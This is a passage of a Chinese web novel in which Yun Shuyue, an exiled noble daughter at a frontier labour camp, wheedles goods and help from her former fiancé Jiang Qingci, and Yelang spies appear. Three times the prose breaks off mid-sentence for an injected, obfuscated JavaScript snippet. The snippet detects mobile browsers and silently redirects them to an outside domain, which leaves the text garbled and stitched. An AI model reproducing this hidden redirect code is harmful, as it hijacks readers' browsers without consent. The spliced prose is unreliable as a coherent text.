江清辞走在前面,一想到她正理所应当地跟在他身后,唇角倒是勾了起来。 心中总有小人打架,一个说凭什么她要什么就给什么,一个说:真好啊,她会撒娇,会找他提要求,会像以前一样唤他,一切都像是从未改变过一样,他又为何不能再用金丝软缎将她供起来呢? “清辞哥哥,我就要吃,你给我。” 她快走了两步,跟他并肩,她两只手挽上了他的胳膊,像是挂在他身上一般。 像只赖皮的小猫。 江清辞浑身僵硬着,脸色比之前更冷了,心中却似打鼓一般轰鸣着。 女子软乎乎的身子就这么贴着手臂…… 他们二人已经过了年少无忌的时候,多年未像现在这般亲近过了。 在外,也只是维持君子之仪。 云舒月很爱端着贵女架子,与他的距离也从不过近。 她与他说话时,总是隔着些距离,却又唤得亲近,令他珍之爱之。 如今乍然拉近了距离,从前也不是没有过,不过那些时候大多是她无意,只是让他乱了心神。 “你,你想吃什么?我吩咐祈言去准备。” 他僵硬地伸出胳膊,被她缠得发麻,叫人难受。 他快走了两步,跟她拉开了些距离。 云舒月舔了舔嘴唇,“我想吃红烧肉,我哥哥也想吃,我母亲也想吃,我的侍女诗筠也想吃。” 江清辞走至房门前,高声喊道:“祈言。” 祈言从一侧蹦出来,“公子有什么吩咐?” 江清辞指了指紧紧挨着他寸步不让的云舒月,“今晚她要什么就给她什么。” 说完,他“砰”地一声关上了房门,将云舒月牢牢挡在了外面。 云舒月吃了闭门羹,也不生气,江清辞的屋子有什么好进的,清汤寡水儿的,没劲儿。 她转头看向祈言,祈言被她盯得埋下了头,“云姑娘,你有什么要求?” 云舒月改主意了,刚刚江清辞说的话她可都听见了。 “我要一间像这样的屋子。” 她指着江清辞的木屋,说得理直气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“走了。”祈言有些无奈道,“今晚过后,云家人住的草屋里面怕是六曲屏风裱画、织金帐幔垂落,连窗户都是霞影纱糊的。” “这像话吗,公子。”祈言口中满是无奈。 江家人当初“流放”时,家中女眷带的各式器物软缎不少,有的拿到深山中去用了,有的留在公子这儿的库房里。 江清辞面色并无变化,只问了句:“她没要吃的?” “要了呀,先说要八十碗红烧肉,还要分次给她,一天给一碗,我觉得有点离谱,就给她拒了。”祈言挠挠头,也不知自己拒得对不对,万一公子真要给呢。 江清辞倒也没说他做得对不对,只问:“然后呢?” “然后她要了十只活鸡、十只活鸭,说要围个院子自己养。” 江清辞半晌说不出话来。 祈言又道:“她这回可没白来一趟,不过公子您未免也太心软了,她说就几句软话儿,便是要什么都给吗?” 江清辞走至书案前,一整天都没什么胃口,到现在还粒米未进,又翻开公文看起来。 “什么都给吗?”他愣了愣,随后摇头,“我也没给她什么,她只不过是要些寻常物件儿罢了。” 他给她,都给她,只要她别再欺身上前,忽悠他一通还要倒过来踩他一脚。 他可再不会上当了,绝对! “可,可底下有些人,已经开始传闲话了,虽说就算闹到京里去公子您也不必怕什么,可皇上派咱们来这儿,是有要事办的,若因为此事引起了那些人的怀疑……” 17.第 17 章 “祈言。”江清辞打断了他的话,“其实她是很依赖我的。” 祈言愣住,“所以呢?” “虽然在京中时我们已经决裂了,但我现在照看着她些,应当也是人之常情吧,我这个样子,应该不会被人笑话吧。” 祈言:“……” “她很娇气的,已经在尽力适应这里的环境,我也没想到她会这么坚强,我还以为,她会直接倒下,然后我不得不将她接到身边来养着。可我现在看着她每日雄心勃勃的样子,明明身子弱得不行,却总像蕴含着无穷的力量,唉,其实我帮她帮得很少……” 祈言挠了挠脑袋,有些听不懂公子的胡言乱语。 “公子,不是说不会再上当了吗?”公子怎么已经开始自责了。 云舒月当晚回到家,刚刚在江清辞的库房里挑的东西还未及时搬送过来,祈言答应她了,会请下人陆陆续续搬过来,还叫她先将鸡窝鸭棚搭上。 云明旭已经可以坐起身了,身子好了许多,一家人围坐在一处,颇有些其乐融融的气氛。 谁也没再提以前的事了,所有不愉快都像是消失了一般。 这最应该互相假惺惺的一家子,真是患难见了真情。 几人对视一眼,都没说之前故意给云明旭少打了饭的事儿,说那些干啥呀,事情都过去了,老爷身体也好了。 云舒月叫上两个妹妹,还有她哥:“咱们一起来搭个围栏,将来可以养鸡鸭。” 她又看了眼五弟云茂学,想叫上他一起,云茂学倒是跃跃欲试,可孙姨娘牢牢将他拦在身后。 五弟从前很听云舒月的话,叫他做什么他就做什么。 可不知怎的,孙姨娘现在将云茂学看得很紧,娘俩现在绝不多干一点活,绝不少吃一口饭,是生怕吃了亏。 云舒月也不计较,只有林书柔看不惯。 “咱们是一家人,几个兄弟姐妹一起齐心协力不好吗?” 孙姨娘不屑道:“你当二小姐还是全家人的掌上明珠啊,当初全家指着她来一个大翻身,我们娘俩这才愿意捧着她点儿,现在凭什么?” 林书柔道:“我哪是这个意思,也没叫你捧着谁啊,算了,我跟你说不清楚。” 孙姨娘又指着那山头道:“江清辞现在正住在那山头上,听说他在这地方是个不小的官儿,看来咱们之前是上了江家的当了,二小姐有本事就再去勾搭他一回,好带着咱们一起翻身。” 林书柔道:“当初把人家得罪得那么狠,也亏你说得出来这话。” 柳姨娘对孙姨娘开口道:“就算二小姐有本事再让咱们翻身一回,那也不带着你了呀,你们娘俩恐怕巴不得现在就分家的好呢。” 孙姨娘自认正值壮年又带着个十一岁的儿子,怎么也比跟着这一大家子过得好。 云舒月冷脸听了半天这些话,忽地摔下手上的木材,甩出咔嚓一声。 全家人都安静了,都默默转头看向她,大气不敢出一声。 “当初是你们叫我与他撇清关系,我本想私底下将事情解决,两方都留脸面,你们非要当众宣告,把对方脸面踩得一文不值,现在又想叫我去勾搭他,勾搭江清辞有那么容易吗!” 云舒月说着说着,喉间蹦出了哽咽,真是天大的委屈。 “恕我直言,你们一家子都是拖我后腿的!” 从前的江清辞的确为她带来了许多好处,光是那些贵女们艳羡的目光,就让她无论付出多少心机也是值得的。 更何况,她也喜欢他呀,他曾是京中最出色的郎君。 可是现在呢,明知对方现在很可能讨厌自己,还非要往他跟前凑,云舒月心里很难受。 她巴不得江清辞将她骂出来:“你滚!薄情寡义的女人,我再也不想见到你!” 可江清辞不是会说出这样话的人,而云舒月更不是会服输的人。 哪怕只有一点点可能性,她也要逆流而上,除非,等她找到更高的高枝,那不然,靠父亲?靠哥哥?她觉得,好像还是江清辞靠谱。 家中的掌上明珠一边怒斥一边哭,全家都哑声了。 几位长辈你看看我我看看你,开始推脱起来。 “当初是谁非说要当众撇清关系的?反正我没有说过。” “我也没说过。” “你没说,那我也没说,那是谁说的?” 齐齐看向云明旭,云明旭目光躲闪着:“我也是听了孙姨娘的意见才那么做的,夫人本是劝我别将事情闹得太难看的,两家好聚好散,夫人,早知道,我还是该听你的。” 林书柔“哼”了一声:“我早说了,妾室误家,你一个朝廷正二品官员做决定竟是听小妾的,恕我直言,你沦落至此也是活该。” 孙姨娘往后倒退了两步,“你是一家之主,不会要将错怪在我一个小妾头上吧。” “够了!” 云舒月捂着耳朵大喊。 “之前的事情再评判起来又有什么用呢?父亲,还请您振作起来,吸取经验,再接再厉。” “还有哥哥,你从前但凡中了个进士,有了官身,也不至于一同被流放到这里来。” 云舒月脑海中有一个零散的计划,虽然还很不切实际,但她要他们一家子重回京城! 云明旭双腿往草铺上缩了缩,“闺女,你爹我能保下条命就不错了。” 云舒月再看向两个妹妹,一个比一个小家子气,真是无奈。 孙姨娘这时候开口道:“我与山下的夜郎国商队已经议定了,今晚就要出发,我本想偷偷走的,不想告知你们,可看你们一家费心筹谋的样子,我不得不提醒一句,还是早些另寻出路吧。下回再有商队路过可不知是什么时候了。” 云明旭瞪大眼道:“你走你的,把我儿子留下。” 孙姨娘把云茂学往自己身后藏,“茂学跟我是去享福的,你自己这回都差点死了,难不成还要拖累儿子。我不管,反正我今晚要带着茂学一起走,你若是敢告发,害我丢命不要紧,茂学也得跟着丢命。” 孙氏铁了心,云明旭气得想吐血,偏他还一点办法也没有。 云舒月道:“孙姨娘,五弟年纪还小,你确定要他这么小就成为我大礼朝永久的逃犯吗?” 孙姨娘努努嘴道:“我们以后不回来了,再说了,在这牢城营当一辈子罪犯又有什么区别。” 云舒月蹲下身子,仔细问云茂学:“你告诉姐姐,你想走还是想留,这是关乎你一生的事情,一定要好好决定。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15038837|162332||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 云茂学怯怯不敢答,孙姨娘拽了他一把,娘俩到一边儿去了,明显是不想再跟这一家子扯上关系。 云舒月也不是多管闲事的人,她心里只有她自己,只有少数时候会发善心。 第二日天没亮,众人起床一看,孙姨娘和云茂学已经不在了。 那点人的官兵路过时,大吼了一句:“云家丢失女犯一名!男犯一名!你们如实交代,他们两个去哪儿了!” 众人齐齐摆手:“大老爷,真的不知道啊,昨晚我们睡得很死,睡着之前他们还在的。” 云明旭哭起来:“我的儿啊,你被你母亲带到哪儿去了啊。” 虽说云家人这番说辞不管用,换成以前高低要把这一家子抓起来拷打一番的,可现在牢城营不让动刑,也只得作罢。 “以最快速度把他二人画像挂满街巷,全州捉拿逃犯!” 云家人皆暗自叹气。 过了没多久,祈言派来送东西的人陆陆续续到了。 由于东西实在太多,人是分好几拨到的。 除了云舒月以外的人都看得目瞪口呆的。 云梓莹道:“二姐,怪不得你昨日让我们搭鸡窝。” 今日这十只鸡十只鸭一到便有地方住。 垒灶台的人也来了,在草屋外面垒了一个极好的灶台。 云舒月拍拍云千雁和云梓莹的肩,“你们两个,还有王姨娘,以后这灶就交给你们了,往后咱们家随时开灶,再也不会饿肚子。” 至于柳姨娘嘛,烟花柳巷出身,哪会做饭。 云舒月让她负责打扫卫生。 看着屋内床铺、桌椅等物件儿全都焕然一新,一家子人都很高兴。 云明旭问:“闺女,这些东西……都是江清辞安排的?” 云舒月点点头:“是我问他要的。” 她翻身倒进了舒服的被窝里,浑身都舒爽了起来。 还有几盏雕花屏风,将草屋隔开了好几间,一家人再也不用挤在大通铺上睡觉了。 林书柔看得呆了,“月儿,这,这样不好吧,怎好白白拿人家这么多东西。” 云舒月将自己裹在被子里,闭着眼细心感受,猛吸了一口气,过了很久才睁眼道:“只要能让我回到这样的生活里,要我做什么我都愿意。” 得了好处该卖乖,云舒月深谙此理。 时值八月,没想到来到此地也已一月有余了,云舒月虽能适应,可她无一刻不在想着翻身。 “诗筠,我待会儿去后山摘果子,半个时辰之后,你去找江清辞,就说我摔倒在山上了,让他来救我。” 诗筠点头道:“好,小姐,你小心。” 云舒月手执象牙梳将头发挽成一个垂髻,大部分发丝披散在肩头。 她独自一人上了山,候了许久,直到后方传来脚步声。 她双脚一滑,伴随着一声轻呼,整个人掉进了河水里。 溅起的水花阻碍了江清辞的视线,清响如碎玉,他只听见一句“清辞哥哥救我。” 云舒月松开腰间鹅黄丝绦,鸦青色的鬓发散作墨莲浮沉,一张雪白娇俏的美人面浮出水面,口中衔着花瓣吐息微颤:“清辞哥哥……”眼尾沁着薄红,像化开的胭脂。 18.第 18 章 江清辞来不及思考过多,他三两下甩掉外袍,一个箭步冲到河边,跳入河中揽住她的腰。 方知水面高度不过双膝,偏怀中女人还在扑腾个不停。 她不断往后仰,他只得将掌心拖住她后颈,触到颈后滑腻肌肤时微微一颤。 过近的距离,湿衣导致的毫无避讳的肌肤相贴,令他感到不适。 将她托得远了些。 “云舒月,腿伸直,可以站住。” 云舒月脸色苍白,贝齿紧咬下唇,身子柔弱无骨,她两只胳膊环上了他的脖子,身上一点力也不使,他若是不托住她,她就会沉进这不过膝深的河水里。 正午的太阳明晃晃地照,正值立秋后最炎热的一段时日,河水的温度依旧浸凉,叫人浑身舒爽。 她将头埋在他颈窝里,吐着气,长长的睫毛上挂着水珠,脸颊上尽是后怕的神色。 “月儿好害怕。” 江清辞双臂不自觉地收紧,她一边扭动着身体,本能地向他靠近。 他呼吸一滞,差些想把她丢开,胸腔里的心脏开始不受控制地狂跳。 喉结滚动,艰难地吞咽了一下口水。 “云舒月,别动了,我放你下来,你脚踩到地上去。” 怀里的身肢滚烫,江清辞一刻也抱不住。 上岸后,云舒月倒是从他身上下来了,不过立刻瘫倒在地,不住地咳嗽,浑身湿透的夏季衣物还紧贴在她身上。 江清辞拾起刚刚甩在地上的外袍,别着头递给她,绝不多看一眼。 “将这个披上。” 云舒月接过外袍,轻轻搭在身上,拢住自己。 “男女授受不亲,清辞哥哥,你抱了我,你得对我负责。”她轻声地说,脸颊红红的。 江清辞是守正不移的真君子,云舒月一直都知道,色./诱对他来说没用。 要得到他的感情与亲近,非得要他自愿的才行。 听她说了这话,江清辞脑子里顿时成了一团浆糊。 江清辞想指天发誓,他真的没有。 他有些生气,真君子被女妖精冤枉时都会生气。 “你是不想负责的坏男人!”声线一点也不咄咄逼人,只是软软的、轻轻的。 他脑子乱乱的,什么负不负责的,他只想好好跟她掰扯一番道理。 他救她是好心,下了水之后又发现水深压根用不着人来救她。 深吸一口气后,“云舒月,你是故意的。” 他实在没忍住别过头,她却已经欺身上前,人就牢牢贴在他背后,只等他回头了。 离得极近的云舒月朝他狡黠一笑,踮起脚尖,另一只手摁住他的脑袋,飞快地在他脸颊上摁了一口。 “啵唧~” 江清辞刚刚怒火攻心,反应慢了些,这一下没能躲开,怒火攻心变成了全身酥麻。 他的脑子一片空白,张了张嘴,云舒月松开他,舔了舔唇,他摸自己的脸,那处湿乎乎的,滚烫无比。 眼前女子做憨傻态,江清辞捏紧了拳,下颌紧绷,后槽牙咬得咯咯作响。 云舒月逃得也快,“糟了,工头给我派的活儿我还没干完,我得回去蒸糯米了!” 她走得快,他升温变红的地方从脸颊蔓延至耳根。 云舒月前方是一只巨大的竹制蒸笼,她裹着头巾站在其后,点燃了柴火。 这是她日复一日在做的工作,母亲和两妹妹现在也在灰浆坊干活,有的在舂灰组,有的在熬浆组。 只有家里的男丁还在采石场。 王姨娘和柳姨娘这些日子被分到田里去割麦子了。 在灰浆坊,她也交了两个老朋友。 分别是齐大娘和张大娘。 每天一到酉时,齐大娘和张大娘就能收拾东西离开这里,她们住在山下的村庄里。 光是流放人员是修不成行宫的,所以此处有很多岗位都由山底下的村民占据。 “你还是第一个来咱们灰浆坊的犯人呢。” 云舒月“呵呵”一笑,怪不得这里的伙食比采石场好,只是她拿不到工钱,齐大娘和张大娘做一天工都能拿到工钱。 张大娘说起这段日子要给自家儿子相看媳妇,一到时辰急匆匆就走了。 云舒月完成今日自己的最后一项工作后,也可以领了饭回家休息了。 看着眼前堆得高高的一山糯米团子,都是她花费了整整一天的时间做的。 远处初见华丽巍峨的宫殿群还在响起“哐当”的施工声,一想到有些砖瓦器具的粘合用的是她蒸的糯米,云舒月心中就会升起一股雀跃之感,挥洒汗水大口咬下白面馒头时,口中的弥漫的麦子香气香得不得了。 只是每天睡前,她裹在舒服柔软的被窝里,总还是会想念她从前的金丝软被、鎏金香炉。 在这个地方,虽有江清辞给她庇护,可她始终出不去,罪犯的身份不可改,纵是能得些好处又如何呢? 翌日,云家草屋门前的灶台上升起炊烟,散出漫天香气。 云家那么大咧咧地在院子里养了鸡鸭,云家人一个个越活越容光焕发,就是再小心,也不免有闲言碎语传出去。 “都是流放来的罪犯,谁以前不是朝廷响当当的人物,凭什么他家颇受照拂,皇上可知这牢城营的罪犯也分出三六九等来了?” “这你就孤陋寡闻了,就算是皇上,也得念着废后的三分情呢,更何况,云家老二跟山头上那位是从小的青梅竹马,就算是退婚了,二人的情分也不浅。” “若真是像你说的这样,那倒也说得通了,不过云家日日炖肉着实香,咱们去问他家要几块儿肉吃,若是不给,我可就要把这不公之事闹大了,倒要看姓江的怎么处置,是选择给大家伙儿都吃上肉,还是选择收回云家的好处。” “我劝你还是别了,江首辅在朝堂上声势多大啊,依我看江家迟早是要返京的,你若想讨好处,何必为了几块肉得罪姓江的,倒不如学着云家人讨好人家,说不定人家到时候返京心情一好,把你也捎带上了呢。” 两个衣衫褴褛的流放犯蹲在土坡上,叽叽喳喳商谈了许久。 林书柔在桌上摆好碗筷,王姨娘做了小鸡炖蘑菇,蘑菇是云舒月指使两个妹妹去后山上摘的。 此刻香气扑鼻,一家人都围坐到了桌前。 云舒月在家里穿着舒适的棉质寝衣,她本想要几件锦缎织物,江清辞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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江崇礼棋都没心思下了,朝小儿子吹胡子瞪眼,“你不去,那你便留在这里,你母亲张罗着要给你娶妻,你正好留下来相看相看这黔州的官家女子,成天抱着侍婢取乐像个什么样子!” 江嘉懿忙道:“那我去!我去!” 父亲一走,江嘉懿愁眉看着屏风后的女子青莲,青莲默默走出来,柔声道:“爷,就去吧,若是夫人一定要为您娶妻,下次也别再拒了。” 江嘉懿执着青莲的手,“我此生只愿娶你为妻,若是父亲母亲一直不同意,我便一直不娶。” 青莲垂眸,脸色并不好看,她抽出手,“妾替郎君收拾行李。” “这是哪组做的灰浆?” 来人气势汹汹,提着一桶灰浆兴师问罪。 云舒月从蒸笼后面抬起头,茫然看着。 张大娘上前看了看:“这桶灰浆粘度不够,应是糯米没蒸好。” 木桶上挂着竹牌,竹牌上刻着相应匠人的代号。 “看看今日又是谁要被扣工钱了?” “这一组负责蒸糯米的是云舒月。” 云舒月怯怯站起身,“是,是我哪里没做好吗?” 张大娘是个热心肠,对她道:“许是蒸的时长不够。” 那督工可没那么好脾气,指着她骂道:“你可知你耽误了工程进度,今晚重新做一桶灰浆出来,做不出来不许走!” 19.第 19 章 云舒月垂头不语,不敢呛声,应是她今日急躁了些,光想着下工后回去吃红烧肉了。 既是做错了事情,她认罚便是了,干嘛吼她。 罢了,罪犯没有人权。 “哦,知道了,对不起啊,我这就重做,您别生气。” 认错态度诚恳,模样也怪可怜的,最重要的是,人长得也粉雕玉琢的。 那督工也不好再骂了,只道:“其他人该走的走,你留在这里尽快赶工,以后要是再犯错就回你的采石场去。” 云舒月点点头,要回家吃红烧肉的欢喜心情便都不在了,小身板儿缩在灶台后面,一个人面对一口大蒸锅。 工作量不小,她叹了声气,揉了揉饥饿的肚子,伸手拾起柴火开干。 天黑得很快,黑乎乎的灰浆坊只有一处亮着柴火光。 诗筠机灵,被督工从灰浆坊赶出来以后,径直上山找江清辞去了。 云舒月不知道诗筠的去向,她其实不想要江清辞知道她连这点活儿也干不好,她云舒月从小便是学什么会什么,样样都要争第一的。 现在蒸糯米还赶不上几位大娘。 江清辞踏足这里的时候,她一看到他,还是“哇”地一声哭了出来。 “江清辞,我的活儿好多啊,怎么干都干不完了,我想回家……” “不想做就不做了,回家吧。” 江清辞觉得自己对她没什么话好说的,她不愿意做,就不做。 他同意的不做,明天也没人能找她麻烦。 云舒月一边抽噎着,手上往灶膛里塞柴火的动作却不停。 “不行,我不能拖我们组的后腿,我得干。” 她用手背抹了抹脸,抹了自己一脸灶灰。 她虽然在哭,嘴上哭诉个不停,动作却做得娴熟又仔细。 江清辞蹙着眉头:“云舒月,你不饿吗?去我那儿吃东西吧。” 云舒月摇摇头,肚子叽里咕噜叫了两声。 “不要,我今晚必须把这几锅糯米蒸出来。” 蒸糯米的难度在于火候,火不能大了,也不能小了。 她脸上挂着泪痕,火光映照下两只眼睛都发着光,神情格外专注。 黑洞洞的室内,两个人一个站着,一个蹲着,都穿着灰白色的棉袍。 江清辞不再说什么,他问她:“要蒸多久?” “一个时辰。” 他点亮四周的灯烛,空间一下子亮堂起来。 “你喜欢这里的活计?” 云舒月点点头:“我喜欢看糯米被煮成糊糊,又被敲打成一团白胖胖的大丸子的过程。” 月亮渐渐高悬,他倚在门框上,用手去蹭门边上积年的灰,灰白色褂子包裹着的身躯逆着月色时显得略有些清瘦。 他摩挲着腰间垂下的清凉玉佩,时间仿佛凝固,除了灶膛里噼里啪啦的火星声响,万籁寂静。 她的面庞便在哪些噼里啪啦中忽明忽暗,他开始不自觉地关注她的一举一动,他的眉眼皆隐在暗处。 “江清辞,你说你那儿有好吃的?” “有的。” 云舒月舔了舔唇,道:“我想吃八宝鸭,有吗?” “有的,我现在就叫祈言去吩咐厨房做。” “那你再给我买一些流霞坊的胭脂和蜜膏好不好,我听说黔州也有他们家的分铺。” 江清辞始终与她隔着一定的距离,他看到她被灶膛熏得红扑扑的脸。 “不好。” “为什么不好?” 江清辞深吸一口气,别过头望向门外空旷的地面,“就是不行。” 他给她买来胭脂和蜜膏,这件事情很奇怪,他不想做。 “那你来替我守着点灶吧,我要去更衣。” 江清辞挪步到灶边,倒是没拒绝。 他蹲到灶膛前,清俊的面容在火光的映照下显得滑稽。 “好,我帮你看一会儿。” 云舒月临走前还嘱咐他:“等最下面一层的水烧干得差不多了,你就可以把上面蒸笼里的糯米倒出来了,倒进旁边的大缸里,然后放新的糯米进去,今晚还有三锅要蒸。” “知道了,你去吧。” 云舒月解下身上的围裙和头巾,出了灰浆坊的大门,一路回了家。 蜡烛都燃尽了,江清辞一人蹲在黑乎乎的灰浆坊内,唯有灶膛内红红火光与他作伴。 直到深夜,他蒸完了三大缸的糯米,又在缸上挂上云舒月的竹牌。 接下来的三日,云舒月未曾见过一面江清辞,这个人好似从牢城营凭空消失了一般。 她问祈言,祈言也不告诉她江清辞去哪儿了。 她默默在想,他不会是生她的气了,故意躲着她吧。 不就是将他一个人留在灰浆坊了,有什么好生气的。 云舒月气鼓鼓地蒸着糯米,想着今日下活儿以后去后山采些野果吃。 江清辞沿着蜿蜒的山路前行了许久,目光敏锐地扫视着周围的一切,随后在书册上写写画画。 黔州牢城营地处边境,夜郎国地处十万大山的包围圈之中,自古以来商队要经由黔州去往夜郎国,便只有一条极窄的山路可走。 也因此,大礼朝周边国家皆已归顺我朝,唯有夜郎国不肯归顺。 当今圣上唯有一愿,有生之年在他的统治下实现大一统。 这夜郎国仗着易守难攻的独特条件,偏还狡猾得很,仗着自身占据重要贸易通道,凡是我朝商人过往的货物皆要设置高额关税。 我朝为了从夜郎国进攻铜金属,每年便算是白送给对方巨额白银。 朝廷看夜郎国不爽已久,虽在战力上狠狠压了对方一头,可山路难行大军。 皇上特派了江清辞为司隶校尉,便是要让他看看能不能在这大山里开出一条容大军通行的大路来。 就贸易之事双方已商谈多年,可这夜郎国国君不识好歹,一步不肯退让,我朝便只能认那不平等贸易条约。 江清辞穿行于崇山峻岭、纵横交错的河流中,黔州瘴气弥漫、毒虫肆虐,山路极难行。 就算带着十万大军出征,只怕死在山路上的都有七成。 该回程的时候,他叹了声气,若要把这条路打通,圣上最好是准备好消耗几十年的心力和源源不断的钱财。 突然,他注意到前方不远处草丛中似乎有什么东西在闪烁,像是金属的反 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15049870|162332||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光, 江清辞心中一紧,立刻停下脚步,屏住呼吸,闪身躲到树后。 只见一个男子趴在地上,手中拿着一幅地图,上面标记着一些奇怪的符号和路线。 江清辞没有轻举妄动,对方看起来是夜郎国人,只是不知夜郎国国君又想做些什么。 云舒月带着诗筠上山摘果子,往常她在闺中时,读过几本教女子美容养颜的医书,都说吃水果和蔬菜是有助于容貌变好的。 她每日闲下来便都要上山摘些果子吃,尤其是红色的果子。 不过她受了教训,认死了那名叫赤珠莓的果子,绝不敢碰。 她挎着竹篮,哼着小曲,轻快地朝山上走去,秋日里山上尽是熟透的果子,见之便心生欢喜。 她动作很快,不一会儿,竹篮里便装满了各种新鲜的果子。 正当她准备下山时,竹林后突然走出来一名气质翩翩的男子。 那人手中摇着一柄折扇,腰间佩玉,着交领右衽的丝绸长袍,头戴前圆后方的玉冠。 此人面容俊朗,气质高雅,是位贵人。 云舒月判定下得很快,只是不知这牢城营的后山怎会来贵人。 对方见了她,温和一笑道:“姑娘别怕,你可是这牢城营中的犯人?” 云舒月目光没有停止悄悄扫视他,若是位贵人,还是位温柔的贵人,与之结识于她有好处。 云舒月拉着诗筠倒退了两步,娇怯道:“回公子,正是。” “我观你模样俏丽,又知礼大方,以前也定是大户人家的女儿,被家人牵连至此,不是你的错。” 公子折扇一摇,做出一副潇洒的样子,背过身朝山下走去了。 云舒月目光复杂地看着他的背影。 那人又回过身道:“对了,我来此地是寻你们这儿新到的那位司隶校尉的,能否请姑娘指个路?他在哪座山上?” 云舒月怯怯伸出手,指了一座山给他看:“是那里。” 那人行了一个抱拳礼:“多谢。” 牢城营周围有无数座山,有的是采石场,有的是采矿区,连绵不绝的,若有人想逃出去,成为逃犯不难,半途在山中迷路然后死掉却很容易。 那人摇着扇子大步走后,诗筠迟疑道:“祈言说过,江三公子所在的山头是军备重地,不可为外人知晓。” 云舒月点点头:“我知道啊,所以我给他指的是反方向,马上就到官兵们清点人的时辰了,咱们快回去吧。” 天黑之前,清点不到的人一律归为逃犯,未能及时离开此地的闲杂人等一律归为间谍。 就看那人等会儿会不会被抓起来了。 云舒月回到家中后,乖乖守在草屋门前等着官兵过来点了人。 “你们云家是出过逃犯的,以后都给我老实点。” 云舒月点头乖乖称是。 不一会儿,她看见几个官兵从某座山上扭送下来一人。 那人路过她时,看着她的眼神里有难以置信,还夹杂着一丝幽怨。 云舒月依旧怯怯的,她回给他一个抱歉的眼神,活像个既好欺负又好骗的农家俏姑娘,跟刚刚一模一样。 但是,不好意思咯。 20.第 20 章 “听说最近有很多夜郎国的间谍入境了,外出做活时要小心,别被坏人捉去了。” 林书柔给云舒月盖上被子,细心嘱咐着。 云舒月将下巴缩进被子里,点点头。 “母亲。” “嗯?” 云舒月身子往里挪了挪,空出一片床位:“我要你今晚抱着我睡觉。” 女儿模样乖巧,像这样的请求,家里对她是无有不应的。 第二天,江清辞还没回来。 云舒月一走出房门便看见江家小伯站在山脚下,晨雾很大,她看不太清他的脸,只见他正与手下说些什么。 她走过去道了声好:“江小伯,恭请晨安。” 江嘉懿这才回头看她,回她一个微笑:“晨安,云二。” “江小伯。” 她叫得坦然又礼貌,江嘉懿差些想蹲下身子去问她。 “你还有什么事吗?” “昨天抓到的那个人,真的是间谍吗?” 如果是的话,云舒月可是要给自己挣一份功劳的。 江嘉懿沉吟了半晌:“嗯,算是吧。” “什么叫算是吧?”云舒月歪头问。 “他的确是夜郎国的人,不过‘间谍’二字可不敢安在他身上。” 见云二满脸疑惑,两条眉毛皱得像两根毛毛虫,江嘉懿忍不住躬身在她耳旁解释一番:“那位是夜郎国国君的第四子,来找江清辞商谈贸易的,只是行踪确有些鬼祟,还需要等江清辞回来调查。” 听了这话,云舒月心中不免失望,不仅捞不到功劳了,她还有可能得罪夜郎国世子。 若早知道今日是这番结果,她昨日该卖他个好的。 “不过还好昨日将人捉住了,若真让他上了丹奉台,窃取了什么机密,事情只怕不好收场。” 见小伯视线扫过来,云舒月有些心虚。 可她转念一想,正是她指路错了方向,才让他们顺利抓到人,不至于酿成祸端,这功劳她还是挣得的。 这么一想,她便将昨日之事和盘托出。 “江小伯,我捉邻国嫌犯有功,你可不能不认啊。” 江嘉懿听她这么说,倒是对此女刮目相看。 “你有功,那你想要什么?” 她想,她想回京,这功劳可够? 摇摇头,想想也知道不够。 她指着丹奉台下的行宫殿宇群,道:“我想去漆画描金组,可以吗?” “还有我母亲,我的侍女诗筠也想去。” 江嘉懿摇摇头:“你去,她们又没立功,她们不能去。” 云舒月默默叹气,这江小伯看着温和又善解人意,实际上可不如江清辞好说话。 “那行,那就我一个人去,劳烦江小伯安排。” 这是云舒月第一次踏进行宫的内部,行宫外部框架还未全部搭建完好,内里有无数匠人来回穿梭,有的负责雕花,有的负责组装。 “你是新来的,便从打磨木料开始做。” 云舒月手中被塞入砂纸,见这里有人负责设计绘图,有人负责刷漆,有人负责涂色,有人负责描金。 她自认才华不低,曾经也是琴棋书画样样精通的才女。 “我会绘图,也会描花,让我从这些难度高的活儿干起吧。” 管漆画描金组的是位老工匠,他两眼扫视了云舒月几个来回,问道:“龙凤、祥云、瑞鹤……这些会画吗?” 云舒月狠狠点头,这些都是才女基本功,她怎么可能不会,她都会把仙鹤画出十八种花样。 那老工匠还在犹疑,云舒月满心期待地看着他。 “那好吧,那你就先试试负责设计这八仙亭中八面屏风的图样,先画在纸上,拿给我看了,若是合格,我再要你做其他的。” 云舒月再次狠狠点头,这活儿比在灰浆坊蒸糯米好多啦。 论对皇室用物的审美,云舒月自认比这里的所有工匠都要好,她见过的好东西不计其数。 画师有专门的画室,云舒月也有了专属于自己的笔墨纸砚。 可她一刻也不敢大意,若是画不好,老头不让她做这个,她就只能回去拿砂纸打磨木材了。 费了一整日的功夫,也才画好一个手持玉箫的韩湘子。 她从前只当作画是乐趣,既能附庸风雅,又能充当谈资。 